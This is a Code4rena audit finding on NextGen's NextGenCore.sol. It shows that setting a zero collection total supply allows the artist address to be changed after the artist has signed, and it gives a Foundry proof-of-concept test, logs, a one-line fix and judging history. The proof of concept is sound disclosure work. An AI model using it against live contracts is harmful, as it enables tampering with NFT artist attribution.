Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 51/243
Findings: 1
Award: $137.89
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: The_Kakers
Also found by: 0xblackskull, BugzyVonBuggernaut, Draiakoo, Stryder, VAD37, alexfilippov314, mrudenko, rotcivegaf, xAriextz, xuwinnie, zach
137.8889 USDC - $137.89
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L147
The bug enables an attacker to tamper with _collectionArtistAddress after triggering with _collectionTotalSupply = 0, If the artist has already signed the collection data, setCollectionData may display a different value than the actual _collectionArtistAddress, potentially leading to misattributed ownership of the smart contract system . Additionally, when _collectionTotalSupply = 0 is applied, it breaks protocol invariants related to viewTokensIndexMin and viewTokensIndexMax
function test_createCollectionSetCollectionData_withZero_collectionTotalSupply() public { string[] memory _collectionScript = new string[](2); _collectionScript[0] = "Script One"; _collectionScript[1] = "Script Two"; core.createCollection( "collectionName", "collectionArtist", "collectionDescription", "collectionWebsite", "_collectionLicense", "_collectionBaseURI", "_collectionLibrary", _collectionScript); core.isCollectionCreated(1); uint256 _collectionID = 1; address _collectionArtistAddress1 = address(4); uint256 _maxCollectionPurchases2= 10000; uint _setFinalSupplyTimeAfterMint2 = 1000; uint256 _collectionTotalSupply1 = 0; uint256 _collectionTotalSupply2 = 10; core.setCollectionData(_collectionID, _collectionArtistAddress1, _maxCollectionPurchases2, _collectionTotalSupply1, _setFinalSupplyTimeAfterMint2); //NOTE setCollectionData 1 (address collectionArtistAddress, uint256 maxCollectionPurchases, uint256 collectionCirculationSupply, uint256 collectionTotalSupply, uint setFinalSupplyTimeAfterMint, address randomizerContract) = core.retrieveCollectionAdditionalData(1); console.log("_collectionTotalSupply with 0 value"); console.log("First setCollectionData collectionArtistAddress:",collectionArtistAddress); console.log("viewTokensIndexMin: ", core.viewTokensIndexMin(1)); console.log("viewTokensIndexMax: ", core.viewTokensIndexMax(1)); vm.label(address(4), "1st Artist"); vm.startPrank(address(4)); core.artistSignature(1,"0x"); vm.stopPrank(); core.artistSigned(1); //, "0x"); // console.log(core.artistsSignatures(1)); vm.label(address(5), "2nd Artist"); address _collectionArtistAddress2 = address(5); core.setCollectionData(_collectionID, _collectionArtistAddress2, _maxCollectionPurchases2, _collectionTotalSupply2, _setFinalSupplyTimeAfterMint2); //NOTE setCollectionData 2 // core.retrieveCollectionAdditionalData(1); (address collectionArtistAddress2, uint256 maxCollectionPurchases2, uint256 collectionCirculationSupply2, uint256 collectionTotalSupply2, uint setFinalSupplyTimeAfterMint2, address randomizerContract2) = core.retrieveCollectionAdditionalData(1); console.log("---------------------------------"); console.log("_collectionTotalSupply with arbitary value"); console.log("Second setCollectionData collectionArtistAddress:",collectionArtistAddress2); console.log("viewTokensIndexMin: ", core.viewTokensIndexMin(1)); console.log("viewTokensIndexMax: ", core.viewTokensIndexMax(1)); // vm.startPrank(address(5)); // // core.artistSignature(1, "0x"); // vm.stopPrank(); // core.setCollectionData(_collectionID, _collectionArtistAddress2, _maxCollectionPurchases2, _collectionTotalSupply2, _setFinalSupplyTimeAfterMint2); //NOTE setCollectionData 2 }
Traces
[PASS] test_createCollectionSetCollectionData_withZero_collectionTotalSupply() (gas: 553337) Logs: _collectionTotalSupply with 0 value First setCollectionData collectionArtistAddress: 0x0000000000000000000000000000000000000004 viewTokensIndexMin: 10000000000 viewTokensIndexMax: 9999999999 --------------------------------- _collectionTotalSupply with arbitary value Second setCollectionData collectionArtistAddress: 0x0000000000000000000000000000000000000005 viewTokensIndexMin: 10000000000 viewTokensIndexMax: 10000000009
Foundry
require(_collectionTotalSupply != 0);
Context
#0 - c4-pre-sort
2023-11-20T13:45:50Z
141345 marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-11-22T12:23:24Z
141345 marked the issue as duplicate of #478
#2 - c4-judge
2023-12-01T21:29:30Z
alex-ppg marked the issue as not a duplicate
#3 - c4-judge
2023-12-01T21:29:44Z
alex-ppg marked the issue as duplicate of #1972
#4 - c4-judge
2023-12-01T21:40:22Z
alex-ppg marked the issue as duplicate of #478
#5 - c4-judge
2023-12-08T21:55:10Z
alex-ppg marked the issue as partial-50
#6 - c4-judge
2023-12-09T00:22:40Z
alex-ppg changed the severity to 2 (Med Risk)